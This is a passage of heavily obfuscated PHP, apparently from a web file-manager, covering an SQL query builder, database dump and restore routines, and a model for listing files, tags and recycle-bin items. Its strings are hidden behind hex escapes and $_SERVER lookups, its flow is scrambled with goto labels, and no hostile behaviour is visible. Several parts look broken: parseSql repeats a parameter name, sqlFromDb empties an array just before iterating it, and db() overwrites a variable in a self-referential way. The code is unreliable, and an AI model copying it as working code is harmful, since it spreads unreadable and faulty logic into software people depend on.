implode($Aǝ͂, $D﷕); break; } return $C֞; } protected function parseLimit($f谚) { $a =& $_SERVER[ֹ]; return !empty($f谚) ? $a[48] . $f谚 . $a[50] : $a[33]; } protected function parseJoin($d؏) { $eא =& $_SERVER[ֹ]; $f꙱ = $eא[33]; if (!empty($d؏)) { if (is_array($d؏)) { foreach ($d؏ as $DԖ => $b֊ж) { if (!1 !== stripos($b֊ж, $eא[933])) { $f꙱ .= $eא[50] . $b֊ж; } else { $f꙱ .= $eא[934] . $b֊ж; } } } else { $f꙱ .= $eא[934] . $d؏; } } $f꙱ = preg_replace($eא[935], think_config($eא[838]) . $eא[936], $f꙱); return $f꙱; } protected function parseOrder($cݬÖ) { $aҌ =& $_SERVER[ֹ]; if (is_array($cݬÖ)) { $cΏ = array(); foreach ($cݬÖ as $d׺ => $F֓) { if (is_numeric($d׺)) { $cΏ[] = $this->parseKey($F֓); } else { $F֓ = in_array(strtoupper(trim($F֓)), array($aҌ[937], $aҌ[938])) ? $aҌ[50] . $F֓ : $aҌ[33]; if (preg_match($aҌ[939], $d׺)) { $cΏ[] = $this->parseKey($d׺) . $F֓; } else { think_exception($aҌ[940] . $d׺); } } } $cݬÖ = implode($aҌ[47], $cΏ); } return !empty($cݬÖ) ? $aҌ[941] . $cݬÖ : $aҌ[33]; } protected function parseGroup($A) { $eœ =& $_SERVER[ֹ]; return !empty($A) ? $eœ[942] . $A : $eœ[33]; } protected function parseHaving($Bɞ㍚) { $cƵ =& $_SERVER[ֹ]; return !empty($Bɞ㍚) ? $cƵ[943] . $Bɞ㍚ : $cƵ[33]; } protected function parseComment($e) { $Bξ =& $_SERVER[ֹ]; return !empty($e) ? $Bξ[944] . $e . $Bξ[945] : $Bξ[33]; } protected function parseDistinct($dՆ) { $f晋 =& $_SERVER[ֹ]; return !empty($dՆ) ? $f晋[946] : $f晋[33]; } protected function parseUnion($AʺĽ) { $d =& $_SERVER[ֹ]; if (empty($AʺĽ)) { return $d[33]; } if (isset($AʺĽ[$d[332]])) { $Fߕ = $d[947]; unset($AʺĽ[$d[332]]); } else { $Fߕ = $d[948]; } foreach ($AʺĽ as $AᏪ㷖) { $B[] = $Fߕ . (is_array($AᏪ㷖) ? $this->buildSelectSql($AᏪ㷖) : $AᏪ㷖); } return implode($d[50], $B); } public function insert($b, $a = array(), $F޼ı = false) { goto fŒ; fŒ: $Aͥ =& $_SERVER[ֹ]; $Eۺާ = $C򛄣 = array(); $this->model = $a[$Aͥ[265]]; goto cύφ; cύφ: foreach ($b as $cȃ => $F) { if (is_array($F) && $Aͥ[281] == $F[0]) { $C򛄣[] = $this->parseKey($cȃ); $Eۺާ[] = $F[1]; } elseif (is_scalar($F) || is_null($F)) { $C򛄣[] = $this->parseKey($cȃ); $Eۺާ[] = $this->parseValue($F); } } $b = ($F޼ı ? $Aͥ[815] : $Aͥ[816]) . $Aͥ[817] . $this->parseTable($a[$Aͥ[263]]) . $Aͥ[811] . implode($Aͥ[47], $C򛄣) . $Aͥ[812] . implode($Aͥ[47], $Eۺާ) . $Aͥ[813]; $b .= $this->parseLock(isset($a[$Aͥ[767]]) ? $a[$Aͥ[767]] : !1); goto fݹ; fݹ: $b .= $this->parseComment(!empty($a[$Aͥ[337]]) ? $a[$Aͥ[337]] : $Aͥ[33]); return $this->execute($b, $this->parseBind(!empty($a[$Aͥ[269]]) ? $a[$Aͥ[269]] : array())); goto a؃Ǔ; a؃Ǔ: } public function selectInsert($b׈, $e, $c = array()) { goto a¤; Fݐ: return $this->execute($c, $this->parseBind(!empty($c[$cƽ[269]]) ? $c[$cƽ[269]] : array())); goto cσ; D: array_walk($b׈, array($this, $cƽ[814])); $c = $cƽ[949] . $this->parseTable($e) . $cƽ[811] . implode($cƽ[47], $b׈) . $cƽ[928]; $c .= $this->buildSelectSql($c); goto Fݐ; a¤: $cƽ =& $_SERVER[ֹ]; $this->model = $c[$cƽ[265]]; if (is_string($b׈)) { $b׈ = explode($cƽ[47], $b׈); } goto D; cσ: } public function update($f͌, $c) { $CЊ =& $_SERVER[ֹ]; $this->model = $c[$CЊ[265]]; $Dȣ = $CЊ[950] . $this->parseTable($c[$CЊ[263]]) . $this->parseSet($f͌) . $this->parseWhere(!empty($c[$CЊ[259]]) ? $c[$CЊ[259]] : $CЊ[33]) . $this->parseOrder(!empty($c[$CЊ[346]]) ? $c[$CЊ[346]] : $CЊ[33]) . $this->parseLimit(!empty($c[$CЊ[276]]) ? $c[$CЊ[276]] : $CЊ[33]) . $this->parseLock(isset($c[$CЊ[767]]) ? $c[$CЊ[767]] : !1) . $this->parseComment(!empty($c[$CЊ[337]]) ? $c[$CЊ[337]] : $CЊ[33]); return $this->execute($Dȣ, $this->parseBind(!empty($c[$CЊ[269]]) ? $c[$CЊ[269]] : array())); } public function delete($C۔ = array()) { $FΓ =& $_SERVER[ֹ]; $this->model = $C۔[$FΓ[265]]; $d = $FΓ[951] . $this->parseTable($C۔[$FΓ[263]]) . $this->parseWhere(!empty($C۔[$FΓ[259]]) ? $C۔[$FΓ[259]] : $FΓ[33]) . $this->parseOrder(!empty($C۔[$FΓ[346]]) ? $C۔[$FΓ[346]] : $FΓ[33]) . $this->parseLimit(!empty($C۔[$FΓ[276]]) ? $C۔[$FΓ[276]] : $FΓ[33]) . $this->parseLock(isset($C۔[$FΓ[767]]) ? $C۔[$FΓ[767]] : !1) . $this->parseComment(!empty($C۔[$FΓ[337]]) ? $C۔[$FΓ[337]] : $FΓ[33]); return $this->execute($d, $this->parseBind(!empty($C۔[$FΓ[269]]) ? $C۔[$FΓ[269]] : array())); } public function select($fƳ = array()) { goto A; A: $FᲪ =& $_SERVER[ֹ]; $this->model = $fƳ[$FᲪ[265]]; $AЧ = $this->buildSelectSql($fƳ); goto c㘅; c㘅: $A⢆ = isset($fƳ[$FᲪ[333]]) ? $fƳ[$FᲪ[333]] : !1; if ($A⢆) { $Aбꇘ = is_string($A⢆[$FᲪ[89]]) ? $A⢆[$FᲪ[89]] : $FᲪ[952] . md5($AЧ); $dꢷ = think_cache($Aбꇘ, $FᲪ[33], $A⢆); if (!1 !== $dꢷ) { return $dꢷ; } } $d = $this->query($AЧ, $this->parseBind(!empty($fƳ[$FᲪ[269]]) ? $fƳ[$FᲪ[269]] : array())); goto d˨¢; d˨¢: if ($A⢆ && !1 !== $d) { think_cache($Aбꇘ, $d, $A⢆); } return $d; goto Eۋ; Eۋ: } public function buildSelectSql($B脐 = array()) { goto dʝ; c: return $bƅֳ; goto Eӧ; dʝ: $Bҳ =& $_SERVER[ֹ]; if (isset($B脐[$Bҳ[336]])) { if (strpos($B脐[$Bҳ[336]], $Bҳ[47])) { list($A, $B؟) = explode($Bҳ[47], $B脐[$Bҳ[336]]); } else { $A = $B脐[$Bҳ[336]]; } $A = $A ? $A : 1; $B؟ = isset($B؟) ? $B؟ : (is_numeric($B脐[$Bҳ[276]]) ? $B脐[$Bҳ[276]] : 20); $F՞ = $B؟ * ((int) $A - 1); $B脐[$Bҳ[276]] = $F՞ . $Bҳ[47] . $B؟; } if (think_config($Bҳ[953])) { $b = $Bҳ[954] . md5(serialize($B脐)); $CȒ = think_cache($b); if ($CȒ) { return $CȒ; } } goto fݭ; fݭ: $bƅֳ = $this->parseSql($this->selectSql, $B脐); $bƅֳ .= $this->parseLock(isset($B脐[$Bҳ[767]]) ? $B脐[$Bҳ[767]] : !1); if (isset($b)) { think_cache($b, $bƅֳ); } goto c; Eӧ: } public function parseSql($A, $A = array()) { $f =& $_SERVER[ֹ]; $A = str_replace(array($f[955], $f[956], $f[957], $f[958], $f[959], $f[960], $f[961], $f[962], $f[963], $f[964], $f[965]), array($this->parseTable("{$A[$f[263]]}"), $this->parseDistinct(isset($A[$f[966]]) ? $A[$f[966]] : !1), $this->parseField(!empty($A[$f[257]]) ? $A[$f[257]] : $f[172]), $this->parseJoin(!empty($A[$f[266]]) ? $A[$f[266]] : $f[33]), $this->parseWhere(!empty($A[$f[259]]) ? $A[$f[259]] : $f[33]), $this->parseGroup(!empty($A[$f[967]]) ? $A[$f[967]] : $f[33]), $this->parseHaving(!empty($A[$f[968]]) ? $A[$f[968]] : $f[33]), $this->parseOrder(!empty($A[$f[346]]) ? $A[$f[346]] : $f[33]), $this->parseLimit(!empty($A[$f[276]]) ? $A[$f[276]] : $f[33]), $this->parseUnion(!empty($A[$f[331]]) ? $A[$f[331]] : $f[33]), $this->parseComment(!empty($A[$f[337]]) ? $A[$f[337]] : $f[33])), $A); return $A; } public function getLastSql($f͎ = '') { return $f͎ ? $this->modelSql[$f͎] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($eۃ) { return addslashes($eۃ); } public function setModel($Cʪ) { $this->model = $Cʪ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($dˑ, $F񘝂 = '') { $this->database = $dˑ; $this->type = $F񘝂; } public function model($B = '') { return new ModelBase($B, $_SERVER[ֹ][33], $this->database); } public function db($E = false) { goto DҾ; e⒢: $this->database = $C; $D•ɷ->execute("\x75\163\145\x20\140{$C}\x60"); return $D•ɷ; goto c; bӘ: $this->database = $C; $D•ɷ = $this->model()->db(); $eަϐ = $D•ɷ->execute("\163\x68\157\167\x20\144\141\164\x61\142\141\163\x65\x73\40\154\x69\153\145\x20\47{$C}\47"); goto fҏ; c晎: $C = $C[$eغ[230]]; $C[$eغ[230]] = $eغ[33]; if ($C[$eغ[884]] == $eغ[721]) { $Fƿֆ = $C[$eغ[883]]; $C[$eغ[883]] = substr($Fƿֆ, 0, strrpos($Fƿֆ, $eغ[969])); } goto bӘ; DҾ: $eغ =& $_SERVER[ֹ]; $C = $this->database; if ($this->type == $eغ[9] || !$E) { return $this->model()->db(); } goto c晎; fҏ: if (!$eަϐ) { $D•ɷ->execute("\143\162\x65\141\x74\x65\x20\x64\141\164\141\142\141\x73\x65\x20\140{$C}\140"); } $C[$eغ[230]] = $C; if ($C[$eغ[884]] == $eغ[721]) { $C[$eغ[883]] .= $eغ[969] . $C; } goto e⒢; c: } public function createTable($c, $Cƛ = null) { $a =& $_SERVER[ֹ]; if (!IO::exist($c)) { show_json(LNG($a[970]), !1); } $Aޅը = sqlSplit(IO::getContent($c)); foreach ($Aޅը as $aТӨ) { if ($Cƛ) { $aȮˤ = stripos($aТӨ, $a[971]) === 0; if ($aȮˤ) { $Cƛ->task[$a[972]] += 1; } } $this->model()->db()->execute($aТӨ); if ($Cƛ && $aȮˤ) { $E䐛א = $a[973]; preg_match($E䐛א, $aТӨ, $a򃟱); $Cƛ->task[$a[974]] = trim($fڜ[0], $a[820]); $Cƛ->update(1); } } $this->taskToCache($Cƛ); } public function insertTable($a̻, $EΡ = null) { $cܝ =& $_SERVER[ֹ]; foreach ($a̻ as $d΃ɜ) { $b = basename($d΃ɜ); $b = substr($b, 0, strrpos($b, $cܝ[91])); if ($EΡ) { $EΡ->task[$cܝ[974]] = $b; } if (get_filesize($d΃ɜ) == 0) { continue; } $bԎ = $this->sqlToDb($d΃ɜ, $EΡ); if (!$bԎ) { show_json(LNG($cܝ[975]) . "\x5b{$b}\x5d", !1); } } $this->taskToCache($EΡ); } public function sqlFromDb($Fئ, $eԲ, $c = null, $Eﻋ = null) { goto e; E˺: $Aذ = $c->getPk(); $b鉝 = $c->getDbFields(); do { $Cŕ = $c->field($b鉝)->order($Aذ . $_SERVER[ֹ][977])->selectPage($BȽ, $Bߒߡ); $a = !empty($Cŕ[$_SERVER[ֹ][350]]) ? $Cŕ[$_SERVER[ֹ][350]] : array(); if (!($cĠ = count($a))) { break; } if ($c) { $c->task[$_SERVER[ֹ][972]] += $cĠ; } $a = array(); foreach ($a as $D) { if ($Eﻋ) { $D[$_SERVER[ֹ][75]] = "\173\x69\x6f\72{$Eﻋ}\x7d" . substr($D[$_SERVER[ֹ][75]], strlen("\x7b\151\x6f\72{$D[$_SERVER[ֹ][740]]}\x7d")); $D[$_SERVER[ֹ][740]] = $Eﻋ; } $a[] = $_SERVER[ֹ][978] . $this->sqlEncode($D) . $_SERVER[ֹ][979]; } $f = "\x49\x4e\123\105\122\x54\40\111\x4e\124\117\x20\x60{$Fئ}\140\x20\50\140" . implode($_SERVER[ֹ][980], $b鉝) . $_SERVER[ֹ][981]; fwrite($Dܩ, $f . implode($_SERVER[ֹ][982], $a) . $_SERVER[ֹ][67] . PHP_EOL); $Bߒߡ++; $Aث += $cĠ; if ($c) { $c->update($cĠ); } } while ($cĠ == $BȽ); goto eͬ; eͬ: fclose($Dܩ); return $Aث; goto E؈; e: if ($c) { $c->task[$_SERVER[ֹ][974]] = $Fئ; } $c = $this->model($Fئ); $Aث = 0; goto A匢; A匢: $Bߒߡ = 1; $BȽ = 500; $Dܩ = fopen($eԲ, $_SERVER[ֹ][976]); goto E˺; E؈: } public function sqlToDb($F, $cجܽ = null) { goto Dܾ; b鳘: if (!$dѯ) { return !1; } $AГϪ = 0; $Aū = $eߋ[33]; goto aԕ; aԕ: $Bޑְ = 500 + 1; while (!feof($dѯ)) { if ($cجܽ && $AГϪ != 0) { $cجܽ->task[$eߋ[972]] += 1; } $AГϪ++; $F͌ = trim(fgets($dѯ)); $Aū .= $eߋ[50] . $this->sqlDecode($F͌, $this->type); if ($AГϪ == $Bޑְ) { $Aū = rtrim(trim($Aū), $eߋ[67]); if (!$B׸->execute($Aū)) { return !1; } if ($cجܽ) { $cجܽ->update($AГϪ - 1); } $Aū = $eߋ[33]; $AГϪ = 0; } } fclose($dѯ); goto aɉҨ; Dܾ: $eߋ =& $_SERVER[ֹ]; $B׸ = $this->model()->db(); $dѯ = @fopen($F, $eߋ[983]); goto b鳘; aɉҨ: if ($Aū) { $Aū = rtrim(trim($Aū), $eߋ[67]); if (!$B׸->execute($Aū)) { return !1; } if ($cجܽ) { $cجܽ->update($AГϪ - 1); } } return !0; goto B; B: } public function dropTable($f͎· = null) { $aو = $this->model()->db(); $a = $f͎· ? array($f͎·) : $aو->getTables(); if (!$a) { return; } foreach ($a as $f͎·) { $aو->execute("\x64\162\157\x70\40\164\x61\x62\154\x65\40\x69\x66\40\145\170\151\163\164\163\40\140{$f͎·}\140"); } } private function taskToCache($f = null) { $Ě =& $_SERVER[ֹ]; if (!$f) { return; } $cִ = array($Ě[974] => $f->task[$Ě[974]], $Ě[972] => $f->task[$Ě[972]], $Ě[984] => $f->task[$Ě[984]]); if ($cִ[$Ě[972]] == $cִ[$Ě[984]]) { $cִ[$Ě[693]] = 1; } Cache::set($Ě[985] . $f->task[$Ě[363]], $cִ); $f->end(); } private function sqlEncode($DЪ) { $aܞ =& $_SERVER[ֹ]; $C = array(); foreach ($DЪ as $Cִ) { if (is_array($Cִ)) { $Cִ = json_encode_force($Cִ); } $Cִ = addslashes($Cִ); $Cִ = str_replace(array($aܞ[986], $aܞ[213]), array($aܞ[987], $aܞ[988]), $Cִ); $C[] = str_replace($aܞ[55], $aܞ[989], $Cִ); } return $aܞ[55] . implode($aܞ[990], $C) . $aܞ[55]; } private function sqlDecode($f݃, $fͲ) { $eб辵 =& $_SERVER[ֹ]; $f݃ = str_replace(array($eб辵[987], $eб辵[988]), array($eб辵[986], $eб辵[213]), $f݃); if ($fͲ == $eб辵[9]) { $f݃ = stripslashes($f݃); } return $f݃; } } goto F; Cп: class SourceListModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\165\x72\143\x65"; protected $tableMeta = array("\164\141\x62\x6c\145\116\x61\x6d\145" => "\x69\x6f\x5f\x73\x6f\165\x72\x63\x65\x5f\x6d\145\x74\x61", "\155\x65\164\141\x46\151\145\154\144" => "\x73\x6f\165\162\x63\x65\x49\104"); protected $dataAuto = array(array("\155\157\x64\151\x66\x79\x54\151\155\145", "\x74\x69\x6d\145", "\x69\x6e\163\145\x72\x74", "\x66\x75\156\143\164\151\157\x6e"), array("\x63\162\x65\141\x74\x65\124\x69\155\x65", "\x74\151\x6d\x65", "\151\156\x73\145\x72\x74", "\146\x75\x6e\143\164\151\157\x6e"), array("\x76\x69\x65\x77\124\151\155\145", "\x74\151\155\x65", "\x69\156\163\145\x72\x74", "\x66\x75\156\143\164\151\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($D) { return $this->listSource(array($_SERVER[ֹ][364] => $D)); } public function typeName($D) { static $cʮ = array(self::TYPE_SYSTEM => "\163\171\x73\164\x65\x6d", self::TYPE_USER => "\x75\163\x65\162", self::TYPE_GROUP => "\147\x72\157\165\x70"); return $cʮ[$D . $_SERVER[ֹ][33]]; } public function sourceListInfo($f, $CЊ = false) { goto f㏿ԍ; f㏿ԍ: $Eė嬏 =& $_SERVER[ֹ]; $f = $f ? $f : array(); $f = array_filter(array_unique($f)); goto D᷵; EľΎ: return array_to_keyvalue($d׍, $Eė嬏[365]); goto F; D᷵: if (!$f) { return array(); } $d׍ = $this->where(array($Eė嬏[365] => array($Eė嬏[7], $f)))->select(); $this->_listDataApply($d׍, $CЊ); goto EľΎ; F: } public function pathInfoFilter($D剉) { goto a; fˈ: $D剉[$F[367]] = $this->typeName($D剉[$F[367]]); if ($D剉[$F[366]] != 1) { $D剉[$F[156]] = $D剉[$F[368]]; unset($D剉[$F[368]]); } $FϽ녲 = $F[369]; goto a߅ֹ; a: $F =& $_SERVER[ֹ]; $D剉[$F[75]] = KodIO::make($D剉[$F[365]]); $D剉[$F[29]] = $D剉[$F[366]] == 1 ? $F[76] : $F[163]; goto fˈ; e녳: if (isset($D剉[$F[372]]) && $D剉[$F[372]][$F[373]] == -1) { $Eߐ = array_remove_value($Eߐ, $F[183]); $Eߐ = array_remove_value($Eߐ, $F[106]); $Eߐ = array_remove_value($Eߐ, $F[374]); $Eߐ = array_remove_value($Eߐ, $F[375]); $Eߐ = array_remove_value($Eߐ, $F[77]); $Eߐ = array_remove_value($Eߐ, $F[376]); } $D剉 = array_field_key($D剉, $Eߐ); return $D剉; goto f²; a߅ֹ: $FϽ녲 .= $F[370]; $FϽ녲 .= $F[371]; $Eߐ = explode($F[47], $FϽ녲); goto e녳; f²: } public function listUserFav() { goto D; D: $d =& $_SERVER[ֹ]; $A = Model($d[377])->listData(); $Bݐ = array_filter_by_field($A, $d[29], $d[378]); goto FƏ; FƏ: $Bݐ = array_to_keyvalue($Bݐ, $d[33], $d[75]); if ($Bݐ) { $Fо = $this->listSource(array($d[379] => array($d[380], $Bݐ))); } $Fо = array_to_keyvalue($Fо[$d[350]], $d[365]); goto F۾ό; F۾ό: foreach ($A as &$Eɜ) { $Eɜ = array($d[381] => $Eɜ[$d[363]], $d[382] => $Eɜ[$d[28]], $d[383] => $Eɜ[$d[75]], $d[384] => $Eɜ[$d[29]], $d[385] => $Eɜ[$d[183]], $d[386] => $Eɜ[$d[106]]); if ($Eɜ[$d[29]] == $d[378] && $Fо[$Eɜ[$d[75]]]) { $Eɜ[$d[387]] = $Fо[$Eɜ[$d[75]]]; } } return $A; goto Cϓ; Cϓ: } public function listUserTag($C) { goto b̋Ć; F캦: $this->listUserTagClear($AҒդ, $bĦ, $C); return $bĦ; goto f; b̋Ć: $e =& $_SERVER[ֹ]; $c = Model($e[388])->listData(); $AҒդ = array_filter_by_field($c, $e[389], $C); goto e楄ڍ; e楄ڍ: $AҒդ = array_to_keyvalue($AҒդ, $e[33], $e[75]); $bĦ = array(); if ($AҒդ) { $fḵ = array($e[379] => array($e[380], $AҒդ)); $bĦ = $this->listSource($fḵ); } goto F캦; f: } private function listUserTagClear($D, $Dԏ, $c䚅) { goto Bˇ; eɛڸ̲: Model($ḛܡ[390])->removeFromTag($dܸ, $c䚅); goto f; aȜ: $dܸ = array(); $B = array_to_keyvalue($Dԏ[$ḛܡ[74]], $ḛܡ[33], $ḛܡ[365]); $A = array_to_keyvalue($Dԏ[$ḛܡ[73]], $ḛܡ[33], $ḛܡ[365]); goto D賂; D賂: $Eߊ = array_merge($A, $B); foreach ($D as $A) { if (!in_array($A, $Eߊ)) { $dܸ[] = $A; } } if (!$dܸ) { return; } goto eɛڸ̲; Bˇ: $ḛܡ =& $_SERVER[ֹ]; if (!$D) { return; } if ($Dԏ && count($D) == $Dԏ[$ḛܡ[347]][$ḛܡ[348]]) { return; } goto aȜ; f: } public function listUserRecycle() { $E =& $_SERVER[ֹ]; $B = Model($E[391])->listData(); if (!$B) { return array(); } $Dʝ = array($E[379] => array($E[380], $B), $E[392] => 1); return $this->listSource($Dʝ); } public function listSource($A˾㮝, $Cܳ = 3000) { goto CЃ; c杫涰: return $Bۄ; goto Fߥ; Bձ: $Bۄ = $this->field($A)->_makeOrder()->where($A˾㮝)->selectPage($Cܳ); $this->_listDataApply($Bۄ[$bψɅʛ[350]]); $this->_listMake($Bۄ); goto c杫涰; CЃ: $bψɅʛ =& $_SERVER[ֹ]; if (!isset($A˾㮝[$bψɅʛ[393]])) { $A˾㮝[$bψɅʛ[393]] = 0; } $A = $bψɅʛ[394]; goto Bձ; Fߥ: } protected function _makeOrder() { goto F; B: if ($Dˇ == $D[28]) { } $Bʳ = $D[405] . $Fن[$Dˇ] . $D[50] . $D[$A]; return $this->order(rtrim(trim($Bʳ), $D[47])); goto D; cڝ: $D = array($D[398] => $D[399], $D[400] => $D[401]); $Fن = array($D[28] => $D[28], $D[77] => $D[77], $D[156] => $D[368], $D[374] => $D[374], $D[402] => $D[375], $D[183] => $D[183], $D[106] => $D[106]); $Dˇ = Input::get($D[403], $D[7], $A܏ԄՐ, array_keys($Fن)); goto d; F: $D =& $_SERVER[ֹ]; $A܏ԄՐ = Model($D[395])->get($D[396]); $fբ = Model($D[395])->get($D[397]); goto cڝ; d: $A = Input::get($D[404], $D[7], $fբ, array_keys($D)); if (!in_array($Dˇ, array_keys($Fن))) { $Dˇ = $D[28]; } if (!in_array($A, array_keys($D))) { $Dˇ = $D[398]; } goto B; D: } protected function _listDataApplyItem($d͔, $a斩 = false) { $fՌ = array($d͔); $this->_listDataApply($fՌ, $a斩); return $fՌ[0]; } protected function _listDataApply(&$fީ, $Eۢ = false) { goto aȈ; aȈ: $Fۘ =& $_SERVER[ֹ]; if (!$fީ) { $fީ = array(); return; } $B = array_to_keyvalue($fީ, $Fۘ[33], $Fۘ[365]); goto C贻Ƀɯ; C贻Ƀɯ: $B = array_unique($B); $this->_listSourceCache($fީ); if (!$Eۢ) { $this->_listAppendMeta($fީ, $B); $this->_listAppendFileMeta($fީ, $B); $this->_listAppendChildren($fީ, $B); } goto A竞; d햺: $this->_listAppendUser($fީ); $this->_listFilterInfo($fީ, $Eۢ); goto A; A竞: $this->_listAppendPath($fީ); $this->_listAppendAuth($fީ); $this->_listAppendSourceInfo($fީ, $B); goto d햺; A: } protected function _listSourceCache($DՒ) { $d簏 =& $_SERVER[ֹ]; foreach ($DՒ as $Bދ) { self::$cacheSourceInfo[$d簏[406] . $Bދ[$d簏[365]]] = $Bދ; } } protected function _listFilterInfo(&$f, $B = false) { $C⶞ =& $_SERVER[ֹ]; foreach ($f as &$C礵) { $C礵 = $this->pathInfoFilter($C礵); self::$cachePathInfo[$C⶞[407] . intval($B) . $C⶞[408] . $C礵[$C⶞[365]]] = $C礵; } } protected function _listMake(&$C) { $fϦ =& $_SERVER[ֹ]; $C[$fϦ[74]] = array(); $C[$fϦ[73]] = array(); foreach ($C[$fϦ[350]] as $B) { $A = $B[$fϦ[366]] == 1 ? $fϦ[74] : $fϦ[73]; $C[$A][] = $B; } unset($C[$fϦ[350]]); } protected function _listAppendMeta(&$fƟ흗, $B) { goto f呸Ԍ; bА: foreach ($BDZƭ as $eǏ۳) { if (!isset($E̯[$eǏ۳[$fĞ冖[365]]])) { $E̯[$eǏ۳[$fĞ冖[365]]] = array(); } if (in_array($eǏ۳[$fĞ冖[89]], $Eפ)) { continue; } $E̯[$eǏ۳[$fĞ冖[365]]][$eǏ۳[$fĞ冖[89]]] = $eǏ۳[$fĞ冖[355]]; } foreach ($fƟ흗 as &$eɴ) { $eɴ[$fĞ冖[413]] = !1; if (isset($E̯[$eɴ[$fĞ冖[365]]])) { $eɴ[$fĞ冖[413]] = $E̯[$eɴ[$fĞ冖[365]]]; } if ($this->fileIsLock($eɴ) && $eɴ[$fĞ冖[372]]) { $b٨ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $eɴ[$fĞ冖[372]][$fĞ冖[373]] = AuthModel::authDisable($eɴ[$fĞ冖[372]][$fĞ冖[373]], $b٨); $eɴ[$fĞ冖[372]][$fĞ冖[414]][$fĞ冖[372]] = $eɴ[$fĞ冖[372]][$fĞ冖[373]]; } } goto dʾ; f呸Ԍ: $fĞ冖 =& $_SERVER[ֹ]; $E̤ = array($fĞ冖[379] => array($fĞ冖[380], $B)); $BDZƭ = Model($fĞ冖[409])->field($fĞ冖[410])->where($E̤)->select(); goto CՍ; CՍ: if (!$BDZƭ) { return; } $Eפ = array($fĞ冖[411], $fĞ冖[412]); $E̯ = array(); goto bА; dʾ: } protected function _listAppendFileMeta(&$fú, $E) { goto E詞; dڞć: $F؍̺ = Model($a[418])->field($A˻)->where($f)->select(); $F؍̺ = array_to_keyvalue($F؍̺, $a[415]); $c = Model($a[419])->field($a[420])->where($f)->select(); goto F; F: $c = $c ? $c : array(); $c腅 = array(); foreach ($c as $E䃟훜) { if (!isset($c腅[$E䃟훜[$a[415]]])) { $c腅[$E䃟훜[$a[415]]] = array(); } $c腅[$E䃟훜[$a[415]]][$E䃟훜[$a[89]]] = $E䃟훜[$a[355]]; } goto c˗Ъ; c˗Ъ: foreach ($fú as &$DΉ) { goto Eו; Dհ: unset($F؍̺[$FĜ][$a[75]]); $b = is_array($c腅[$FĜ]) ? $c腅[$FĜ] : array(); $DΉ[$a[158]] = array_merge($b, $F؍̺[$FĜ]); goto cܳ; Eו: $FĜ = $DΉ[$a[415]]; if (!$FĜ || !isset($F؍̺[$FĜ])) { continue; } $AӇ = $F؍̺[$FĜ]; goto D; D: $AӇ[$a[77]] = $DΉ[$a[77]]; $AӇ[$a[28]] = $DΉ[$a[28]]; self::$cacheFileInfo[$a[421] . $FĜ] = $AӇ; goto Dհ; cܳ: if (isset($DΉ[$a[158]][$a[422]])) { $DΉ[$a[422]] = json_decode($DΉ[$a[158]][$a[422]], !0); unset($DΉ[$a[158]][$a[422]]); } goto f؄; f؄: } goto Aƛ; E詞: $a =& $_SERVER[ֹ]; $F = array_to_keyvalue($fú, $a[33], $a[415]); $F = array_filter(array_unique($F)); goto Eڟ; Eڟ: if (!$F) { return; } $f = array($a[416] => array($a[380], $F)); $A˻ = $a[417]; goto dڞć; Aƛ: } protected function _listAppendSourceInfo(&$b򑾋, $d) { goto c; b׿: $cփ = array_to_keyvalue($aŋ, $f䃗[363]); $f = array_to_keyvalue_group($DΌ, $f䃗[75], $f䃗[389]); $Aޏ = array_to_keyvalue($c, $f䃗[75]); goto AĢ; c: $f䃗 =& $_SERVER[ֹ]; if (!defined($f䃗[423])) { return; } $aŋ = Model($f䃗[424])->listData(); goto f揶; f揶: $DΌ = Model($f䃗[388])->listData(); $c = Model($f䃗[377])->listData(); $e罊͹ = Model($f䃗[425])->listSimple(); goto b׿; AĢ: $Eϙ = array_to_keyvalue_group($e罊͹, $f䃗[365]); foreach ($b򑾋 as &$E伊) { $E伊[$f䃗[387]] = array($f䃗[426] => 0, $f䃗[427] => 0, $f䃗[428] => 0); if (isset($Aޏ[$E伊[$f䃗[365]]])) { $E伊[$f䃗[387]][$f䃗[429]] = 1; $E伊[$f䃗[387]][$f䃗[430]] = $Aޏ[$E伊[$f䃗[365]]][$f䃗[28]]; } if (isset($f[$E伊[$f䃗[365]]])) { $E伊[$f䃗[387]][$f䃗[431]] = array(); foreach ($f[$E伊[$f䃗[365]]] as $aƍՇ) { $A؆ = $cփ[$aƍՇ]; $E伊[$f䃗[387]][$f䃗[431]][] = array($f䃗[432] => $A؆[$f䃗[363]], $f䃗[382] => $A؆[$f䃗[28]], $f䃗[433] => $A؆[$f䃗[434]]); } } if (isset($Eϙ[$E伊[$f䃗[365]]])) { $E伊[$f䃗[387]][$f䃗[435]] = array(); foreach ($Eϙ[$E伊[$f䃗[365]]] as $EԲ) { $E伊[$f䃗[387]][$f䃗[435]] = array($f䃗[436] => $EԲ[$f䃗[437]], $f䃗[438] => $EԲ[$f䃗[439]], $f䃗[440] => $EԲ[$f䃗[365]], $f䃗[441] => $EԲ[$f䃗[442]], $f䃗[443] => $EԲ[$f䃗[444]]); } } } return $b򑾋; goto e򌼯; e򌼯: } protected function _listAppendChildren(&$Eƃ, $f䧈Ȅ) { goto fݷ۠̕; A: foreach ($Eƃ as &$eː) { if ($eː[$Dʛ[366]]) { unset($eː[$Dʛ[368]]); $eː[$Dʛ[188]] = intval($e޷[$eː[$Dʛ[365]] . $Dʛ[447]][$Dʛ[448]]); $eː[$Dʛ[187]] = intval($e޷[$eː[$Dʛ[365]] . $Dʛ[449]][$Dʛ[448]]); } } goto B݄; fݷ۠̕: $Dʛ =& $_SERVER[ֹ]; $Eօ = $Dʛ[357]; $e޷ = array(); goto C֣; FԂ: $dݴ = $this->tablePrefix . $this->tableName; for ($f呯̰ = 0; $f呯̰ < $Cӹ; $f呯̰++) { $e™ = intval($Eƃ[$f呯̰][$Dʛ[393]]); if ($Eƃ[$f呯̰][$Dʛ[366]]) { $eе = $Eƃ[$f呯̰][$Dʛ[365]]; $Eօ .= 